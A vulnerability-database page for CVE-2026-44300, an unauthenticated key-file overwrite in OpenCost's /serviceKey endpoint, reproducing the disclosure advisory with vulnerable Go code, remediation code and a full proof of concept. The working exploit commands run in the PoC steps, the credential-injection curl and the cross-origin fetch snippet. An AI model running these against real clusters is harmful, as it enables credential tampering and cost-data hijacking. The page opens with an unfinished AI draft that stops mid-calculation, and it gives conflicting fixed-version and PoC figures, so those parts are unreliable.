Skip to main content

Kubernetes CVE-2026-44300

| EUVDEUVD-2026-78874 HIGH
Improper Input Validation (CWE-20)
2026-07-14 https://github.com/opencost/opencost GHSA-wmj8-9953-vff5
8.8
CVSS 4.0 · Vendor: https://github.com/opencost/opencost
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 15, 2026

Let me synthesize all data.

CVE-2026-44300 — OpenCost /serviceKey unauthenticated file write.

Product name: OpenCost

CVSS 8.8 given, vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/...

CWE-20 (Improper Input Validation) but also CWE-306 mentioned in the description.

Patch: Available from vendor; fixed in 1.119.1 per CPE data. Wait, the references mention releases v1.120.0 and v1.121.0, but the "Package" line says vulnerable: < 1.119.1 — fixed in: 1.119.1. Hmm, conflicting. I should note this in confidence_notes. Actually the fix commit introduces adminAuthMiddleware requiring ADMIN_TOKEN. The releases listed (v1.120.0, v1.121.0) are refs. The package data says fixed in 1.119.1. I'll present both and flag the discrepancy.

Note the patch only adds auth when ADMIN_TOKEN is set; when unset it still allows unauthenticated writes with a warning. That's an important nuance — remediation must note that ADMIN_TOKEN must be configured.

Let me write fields.

prevalence: OpenCost is a widely used CNCF incubating project for Kubernetes cost monitoring — medium/high. It's popular in k8s cost monitoring but not ubiquitous. I'd say "medium" — common but not everywhere. Given it's a CNCF sandbox/incubating project with significant adoption in FinOps, "medium" seems right.

assessed_cvss_vector: The vulnerability is network-reachable, no auth required (PR:N), low complexity (AC:L), no UI. Impact: VI:H (attacker can overwrite the key file — integrity), VA:H (service disruption). Confidentiality: description claims credential theft / data leakage but the direct impact per the vendor-ish analysis says C:N. Well, injecting attacker credentials could leak cost data to the attacker. Hmm. Original vector says VC:N. But actually credential theft — the attacker can't read the existing key file. So C:N. Let me go with: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H = 8.2? Let's compute: AV:N/AC:L/PR:N/UI:N = base 9.8-ish for C:H/I:H/A:H. With C:N, I:H, A:H → score. Let me compute:

Earlier versions of this analysis (1)
v1 Jul 14, 2026 - 17:44

Unauthenticated arbitrary file write in OpenCost (all versions up to and including releases before 1.119.1) lets remote clients POST to the /serviceKey endpoint and overwrite the GCP service account key file (key.json) with attacker-controlled content, with no authentication and no input validation. An attacker can either corrupt the credential file to break GCP cost collection or inject their own valid service-account key to redirect the target's billing/cost data to an attacker-owned GCP project. Publicly available exploit code exists (a full reproducible PoC is in the GHSA advisory); no public evidence of active exploitation and no CISA KEV listing.

Affected VersionsENISA

opencost < 1.121.0

Affected Packages

go github.com/opencost/opencost fix: 1.119.1
euvd opencost fix: 1.121.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/opencost/opencost) PRIMARY 8.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/opencost/opencost) · only source for this CVE.

CVSS VectorVendor: https://github.com/opencost/opencost

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Sep 15, 2026 - 18:42 vuln.today
v2 - CVSS changed
CVSS changed
Sep 15, 2026 - 18:37 NVD
8.8 (HIGH)
CVE Published
Jul 14, 2026 - 17:07 cve.org
HIGH

DescriptionCVE.org

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.

---

Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

---

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

go
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")  // Overly permissive CORS

    r.ParseForm()

    key := r.PostForm.Get("key")  // User-controlled input, no validation
    k := []byte(key)
    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write
    if err != nil {
        fmt.Fprintf(w, "Error writing service key: %s", err)
    }

    w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

go
func GetGCPAuthSecretFilePath() string {
    return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
    return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs
}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

---

Proof of Concept

Environment Setup

Prerequisites
  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured
Step 1: Create Namespace
bash
kubectl create namespace opencost

Output:

namespace/opencost created
Step 2: Add OpenCost Helm Repository
bash
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!
Step 3: Deploy OpenCost
bash
helm install opencost opencost/opencost --namespace opencost \
  --set opencost.exporter.defaultClusterId=test-cluster \
  --set opencost.prometheus.internal.enabled=true \
  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
  --set opencost.prometheus.internal.namespaceName=monitoring \
  --set opencost.prometheus.internal.port=9090 \
  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration:

  • CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1
Step 4: Verify Deployment
bash
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME                      READY   STATUS    RESTARTS   AGE
opencost-db97bbcc-5q8cb   2/2     Running   0          44s
Step 5: Verify Service Accessibility
bash
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State
bash
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration
bash
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit
bash
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${MALICIOUS_CONTENT}" \
  -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write
bash
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

json
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file

---

Impact Analysis

Direct Impact

Impact TypeSeverityDescription
Unauthorized Credential OverwriteHighAttacker can overwrite GCP service account key file content
No Authentication RequiredHighVulnerability can be exploited without any credentials
CORS MisconfigurationMediumAllows cross-origin attacks via malicious websites
Fixed File PathLowAttacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps:

  1. Attacker sends POST request with invalid JSON or malformed GCP key
  2. /serviceKey endpoint accepts request and overwrites existing key.json file
  3. OpenCost attempts to access GCP API with corrupted credentials
  4. GCP integration fails, cost data collection stops

Technical Details:

bash
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
  -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact:

  • Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
  • Operational Impact: FinOps processes dependent on cost data are blocked
  • Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)

---

Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps:

  1. Attacker creates their own GCP project and service account
  2. Injects attacker-controlled valid GCP credentials into OpenCost
  3. OpenCost uses attacker's credentials to send requests to GCP Billing API
  4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

bash
# Inject attacker credentials
ATTACKER_KEY='{
  "type": "service_account",
  "project_id": "attacker-billing-project",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"

Impact:

  • Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
  • Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
  • Compliance Risk: Cost data may contain protected business information

Data Leakage Examples:

  • Kubernetes cluster size and node configuration
  • Resource consumption per namespace (can map to business units)
  • Cloud service usage patterns (databases, storage, compute instance types)
  • Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High

---

Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps:

  1. User visits attacker-controlled malicious website
  2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey
  3. Due to CORS set to *, browser allows cross-origin request
  4. User's browser acts as proxy to execute credential overwrite attack

Prerequisites:

  • User exposes OpenCost service via kubectl port-forward or other means
  • User's browser can access OpenCost endpoint

Technical Details:

javascript
// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'key={"type":"malicious"}'
});

Impact:

  • User-Unaware Attack: No active user interaction required
  • Difficult to Trace: Attack originates from victim's IP address
  • Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network

---

Vulnerability Limitations

What Attacker Cannot Control:

  • File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify
  • File Name: Fixed as key.json, cannot write to other files
  • File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities:

  • File Content Control: Complete control over key.json content
  • Unauthenticated Exploitation: No credentials required to trigger
  • Remote Accessibility: Can be exploited over network (if service exposed)

---

Real-World Impact Assessment

Deployment ScenarioRisk LevelDescription
Cluster-Internal OnlyMediumRequires attacker to have cluster network access
Exposed via IngressHighAny internet user can exploit
Exposed via NodePortHighAttackers with node network access can exploit
Via port-forwardMedium-HighLocal dev environments vulnerable to CORS attacks

Recommended Risk Rating:

  • Default deployment (cluster-internal): Medium
  • Improperly exposed (public internet): High

---

Remediation

Immediate Actions (P0)

1. Add Authentication
go
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // Add authentication check
    if !a.isAuthorized(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // ... existing logic
}
2. Implement Input Validation
go
func validateServiceKey(key string) error {
    var keyData map[string]interface{}
    if err := json.Unmarshal([]byte(key), &keyData); err != nil {
        return fmt.Errorf("invalid JSON format")
    }

    requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
    for _, field := range requiredFields {
        if _, ok := keyData[field]; !ok {
            return fmt.Errorf("missing required field: %s", field)
        }
    }

    if keyData["type"] != "service_account" {
        return fmt.Errorf("invalid key type")
    }

    return nil
}
3. Restrict CORS
go
w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))

Long-term Solutions (P1)

  1. Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
  2. Implement RBAC: Role-based access control for sensitive operations
  3. Add Audit Logging: Log all file write operations
  4. Apply Least Privilege: Minimize ClusterRole permissions

---

Workarounds

Until a patch is available, implement these mitigations:

  1. Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
  2. Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
  3. Monitor File Changes: Alert on modifications to key.json file
  4. Use Read-only Filesystem: Mount config directory as read-only where possible

---

References

Executive ViewAI

Why It Matters

OpenCost (all versions prior to 1.119.1) contains an unauthenticated arbitrary file write vulnerability affecting GCP credential management. Remote attackers can corrupt, delete, or replace the service account key file without authentication, enabling either breakdown of cloud cost monitoring or redirection of billing and cost data streams to attacker-controlled GCP projects.

Recommended Action

Within 24 hours: restrict network access to OpenCost instances and block all unauthenticated traffic to the /serviceKey endpoint using firewall rules or WAF; audit the key.json file for unauthorized modifications. Within 7 days: rotate the GCP service account key, audit GCP project access logs for unauthorized activity, and verify no attacker-controlled keys were injected; isolate OpenCost to internal networks only until patched. Within 30 days: implement application-layer authentication and input validation on credential endpoints; establish continuous file integrity monitoring on key.json with immediate alerting; monitor upstream for OpenCost 1.119.1+ release and deploy when available.

Business Impact: Severe
Compensating Controls

Restrict OpenCost network access to trusted internal networks only; implement WAF or reverse proxy authentication requirements on /serviceKey endpoint; enable mandatory file integrity monitoring on key.json with change alerting; rotate GCP service account keys immediately and audit all linked GCP projects for unauthorized access; deploy application-level input validation and authentication controls; establish continuous monitoring for service account key modification attempts.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy